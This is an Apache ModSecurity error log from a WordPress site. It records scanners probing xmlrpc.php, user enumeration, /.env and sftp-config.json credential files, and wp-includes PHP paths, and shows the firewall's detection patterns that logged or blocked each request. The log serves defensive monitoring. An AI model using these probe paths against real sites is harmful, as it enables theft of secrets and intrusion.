[Mon Dec 29 23:42:56.734194 2025] [:error] [pid 24343:tid 24372] [client 165.22.61.123:48322] [client 165.22.61.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.61.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKhgMvqvAa0rISAVIR7bAAAAhg"]
[Mon Dec 29 23:52:33.963456 2025] [:error] [pid 24307:tid 24328] [client 162.62.213.187:40440] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVKjwS5AURuH8IsFzz6aIQAAAdI"]
[Tue Dec 30 00:22:43.758242 2025] [:error] [pid 9043:tid 9076] [client 34.86.137.53:53501] [client 34.86.137.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.137.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKq0wpScn3s_Xelo-GUHwAAAEM"]
[Tue Dec 30 00:22:47.313241 2025] [:error] [pid 9043:tid 9075] [client 34.86.137.53:53501] [client 34.86.137.53] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVKq1wpScn3s_Xelo-GUIgAAAEI"]
[Tue Dec 30 00:22:49.048898 2025] [:error] [pid 9043:tid 9091] [client 34.86.137.53:53501] [client 34.86.137.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.137.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKq2QpScn3s_Xelo-GUJwAAAFI"]
[Tue Dec 30 00:22:51.003514 2025] [:error] [pid 9043:tid 9085] [client 34.86.137.53:51686] [client 34.86.137.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.137.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKq2wpScn3s_Xelo-GUKwAAAEw"]
[Tue Dec 30 00:22:53.025275 2025] [:error] [pid 9044:tid 9120] [client 34.86.137.53:58355] [client 34.86.137.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.137.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKq3eRAXIotPh9gznTozwAAAJQ"]
[Tue Dec 30 00:22:55.102587 2025] [:error] [pid 9044:tid 9113] [client 34.86.137.53:65137] [client 34.86.137.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.137.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKq3-RAXIotPh9gznTo0wAAAI0"]
[Tue Dec 30 00:22:57.181477 2025] [:error] [pid 9043:tid 9093] [client 34.86.137.53:50729] [client 34.86.137.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.137.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKq4QpScn3s_Xelo-GUNQAAAFQ"]
[Tue Dec 30 00:22:57.181639 2025] [:error] [pid 9043:tid 9093] [client 34.86.137.53:50729] [client 34.86.137.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.86.137.53, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKq4QpScn3s_Xelo-GUNQAAAFQ"]
[Tue Dec 30 00:23:18.058101 2025] [:error] [pid 9043:tid 9084] [client 136.107.58.37:55154] [client 136.107.58.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.107.58.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKq9gpScn3s_Xelo-GUSgAAAEs"]
[Tue Dec 30 00:23:21.608456 2025] [:error] [pid 9043:tid 9085] [client 136.107.58.37:55154] [client 136.107.58.37] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVKq-QpScn3s_Xelo-GUTwAAAEw"]
[Tue Dec 30 00:23:23.236870 2025] [:error] [pid 9043:tid 9092] [client 136.107.58.37:55154] [client 136.107.58.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.107.58.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKq-wpScn3s_Xelo-GUUgAAAFM"]
[Tue Dec 30 00:23:25.426482 2025] [:error] [pid 9044:tid 9123] [client 136.107.58.37:50314] [client 136.107.58.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.107.58.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKq_eRAXIotPh9gznTo5QAAAJc"]
[Tue Dec 30 00:23:27.497119 2025] [:error] [pid 9044:tid 9116] [client 136.107.58.37:55586] [client 136.107.58.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.107.58.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKq_-RAXIotPh9gznTo6AAAAJA"]
[Tue Dec 30 00:23:29.604407 2025] [:error] [pid 9128:tid 9134] [client 136.107.58.37:65237] [client 136.107.58.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.107.58.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKrAcASbrOSyCr7LVBohwAAAMQ"]
[Tue Dec 30 00:23:31.587099 2025] [:error] [pid 9128:tid 9140] [client 136.107.58.37:62947] [client 136.107.58.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.107.58.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKrA8ASbrOSyCr7LVBojQAAAMo"]
[Tue Dec 30 00:23:31.587230 2025] [:error] [pid 9128:tid 9140] [client 136.107.58.37:62947] [client 136.107.58.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.107.58.37, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKrA8ASbrOSyCr7LVBojQAAAMo"]
[Tue Dec 30 00:35:27.662389 2025] [:error] [pid 9043:tid 9075] [client 188.130.26.65:39490] [client 188.130.26.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.130.26.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKtzwpScn3s_Xelo-GXOAAAAEI"]
[Tue Dec 30 00:50:21.937975 2025] [:error] [pid 9043:tid 9074] [client 162.241.225.129:27102] [client 162.241.225.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.225.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKxTQpScn3s_Xelo-GafwAAAEE"]
[Tue Dec 30 00:50:21.939475 2025] [:error] [pid 9043:tid 9074] [client 162.241.225.129:27102] [client 162.241.225.129] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKxTQpScn3s_Xelo-GafwAAAEE"]
[Tue Dec 30 00:50:21.940635 2025] [:error] [pid 9043:tid 9074] [client 162.241.225.129:27102] [client 162.241.225.129] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKxTQpScn3s_Xelo-GafwAAAEE"]
[Tue Dec 30 01:44:59.307298 2025] [:error] [pid 42521:tid 42535] [client 182.44.67.97:58575] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVK-G8zHehU4LDeKEzojdwAAAUs"]
[Tue Dec 30 02:25:29.882169 2025] [:error] [pid 61009:tid 61032] [client 35.242.254.186:38908] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVLHmRC7RSyMuwnpVqU_iwAAAdU"]
[Tue Dec 30 03:21:36.877910 2025] [:error] [pid 61009:tid 61020] [client 54.38.208.175:42706] [client 54.38.208.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.208.175, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVLUwBC7RSyMuwnpVqVMTAAAAck"]
[Tue Dec 30 04:09:21.357275 2025] [:error] [pid 55827:tid 55835] [client 146.190.85.2:41056] [client 146.190.85.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.85.2, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVLf8TGIC-EorhVIeG_GPAAAAMY"]
[Tue Dec 30 04:58:26.956978 2025] [:error] [pid 55721:tid 55741] [client 49.36.233.91:6921] [client 49.36.233.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.233.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVLrcj7Pjf1FlL091oWetAAAAAo"]
[Tue Dec 30 05:03:12.666944 2025] [:error] [pid 55827:tid 55844] [client 45.63.121.33:34780] [client 45.63.121.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.63.121.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVLskDGIC-EorhVIeG_RvQAAAM8"]
[Tue Dec 30 06:00:49.685424 2025] [:error] [pid 55724:tid 55808] [client 198.177.123.222:47888] [client 198.177.123.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "aVL6Ef2xaJh1srfKTGRmswAAAJc"]
[Tue Dec 30 06:00:49.685732 2025] [:error] [pid 55721:tid 55749] [client 198.177.123.222:47902] [client 198.177.123.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/core/.env"] [unique_id "aVL6ET7Pjf1FlL091oWoxwAAABI"]
[Tue Dec 30 06:00:49.687398 2025] [:error] [pid 21424:tid 21445] [client 198.177.123.222:47900] [client 198.177.123.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "aVL6Ef6vZjHcdZm1ozCyRQAAARM"]
[Tue Dec 30 06:00:49.688175 2025] [:error] [pid 55721:tid 55740] [client 198.177.123.222:47894] [client 198.177.123.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aVL6ET7Pjf1FlL091oWoyQAAAAk"]
[Tue Dec 30 06:30:40.671970 2025] [:error] [pid 55724:tid 55797] [client 4.190.202.25:47040] [client 4.190.202.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.190.202.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVMBEP2xaJh1srfKTGRt4wAAAIw"], referer: https://www.google.com/
[Tue Dec 30 06:30:50.639225 2025] [autoindex:error] [pid 55724:tid 55799] [client 4.190.202.25:47040] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Tue Dec 30 06:30:56.095196 2025] [:error] [pid 21424:tid 21432] [client 4.190.202.25:39797] [client 4.190.202.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.190.202.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVMBIP6vZjHcdZm1ozC-QgAAAQY"], referer: https://www.google.co.uk/
[Tue Dec 30 06:31:04.714260 2025] [autoindex:error] [pid 55724:tid 55790] [client 4.190.202.25:47040] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Tue Dec 30 06:31:05.996377 2025] [autoindex:error] [pid 55724:tid 55805] [client 4.190.202.25:47040] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Tue Dec 30 06:31:06.122959 2025] [:error] [pid 55724:tid 55797] [client 4.190.202.25:47040] [client 4.190.202.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aVMBKv2xaJh1srfKTGRuGwAAAIw"], referer: https://www.bing.com/
[Tue Dec 30 06:31:06.362434 2025] [:error] [pid 55722:tid 55760] [client 4.190.202.25:32049] [client 4.190.202.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aVMBKtAPH64hQFBaDRiczAAAAEI"], referer: https://duckduckgo.com/
[Tue Dec 30 06:31:06.604514 2025] [:error] [pid 21424:tid 21426] [client 4.190.202.25:45637] [client 4.190.202.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aVMBKv6vZjHcdZm1ozC-RwAAAQA"], referer: https://www.bing.com/
[Tue Dec 30 06:31:06.845915 2025] [:error] [pid 21424:tid 21437] [client 4.190.202.25:28154] [client 4.190.202.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/index.php"] [unique_id "aVMBKv6vZjHcdZm1ozC-SAAAAQs"], referer: https://www.google.com/
[Tue Dec 30 06:31:07.088176 2025] [:error] [pid 55721:tid 55734] [client 4.190.202.25:32054] [client 4.190.202.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/index.php"] [unique_id "aVMBKz7Pjf1FlL091oWwagAAAAM"], referer: https://www.google.com/
[Tue Dec 30 06:46:10.906419 2025] [:error] [pid 55722:tid 55764] [client 116.202.3.129:56302] [client 116.202.3.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.202.3.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVMEstAPH64hQFBaDRifDAAAAEY"]
[Tue Dec 30 07:37:44.548050 2025] [:error] [pid 55724:tid 55807] [client 212.129.7.184:33524] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVMQyP2xaJh1srfKTGR9vwAAAJY"]
[Tue Dec 30 08:29:30.892349 2025] [:error] [pid 55724:tid 55807] [client 5.75.172.230:52828] [client 5.75.172.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.75.172.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVMc6v2xaJh1srfKTGSMKwAAAJY"]
[Tue Dec 30 09:21:27.020496 2025] [:error] [pid 55721:tid 55746] [client 150.230.142.53:44996] [client 150.230.142.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.230.142.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVMpFz7Pjf1FlL091oXVeQAAAA8"]
[Tue Dec 30 10:14:07.358854 2025] [:error] [pid 38777:tid 38783] [client 217.125.100.230:47132] [client 217.125.100.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.125.100.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVM1b2Ln9GPxJXPhnHZsxAAAAEM"]
[Tue Dec 30 11:00:06.124251 2025] [:error] [pid 28824:tid 28855] [client 5.129.215.121:38684] [client 5.129.215.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.129.215.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVNANn8FhtgLvBhuCR3hiQAAAIo"]
[Tue Dec 30 11:34:27.293897 2025] [:error] [pid 28824:tid 28864] [client 37.77.56.238:45310] [client 37.77.56.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.77.56.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVNIQ38FhtgLvBhuCR3pmAAAAJM"], referer: https://gigfragments.org/xmlrpc.php?rsd
[Tue Dec 30 12:38:41.682630 2025] [:error] [pid 28824:tid 28850] [client 34.151.198.67:33224] [client 34.151.198.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.151.198.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVNXUX8FhtgLvBhuCR36fAAAAIU"]
[Tue Dec 30 13:09:36.373366 2025] [:error] [pid 28825:tid 28891] [client 103.77.107.57:58513] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aVNekD6dbc1G2hX-KfQNnQAAAMw"]
[Tue Dec 30 13:42:42.544199 2025] [:error] [pid 28826:tid 28908] [client 88.99.27.84:60030] [client 88.99.27.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.99.27.84, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVNmUvOyQggePm1Ed9tORAAAAQI"]
[Tue Dec 30 13:55:46.242342 2025] [:error] [pid 28826:tid 28907] [client 170.106.161.78:41342] [client 170.106.161.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVNpYvOyQggePm1Ed9tRGAAAAQE"]
[Tue Dec 30 15:14:20.989632 2025] [:error] [pid 38777:tid 38793] [client 156.67.31.208:38576] [client 156.67.31.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.31.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVN7zGLn9GPxJXPhnHbXsQAAAE0"]
[Tue Dec 30 15:16:46.651261 2025] [:error] [pid 38777:tid 38797] [client 50.62.145.115:45156] [client 50.62.145.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.62.145.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVN8XmLn9GPxJXPhnHbY3QAAAFE"]
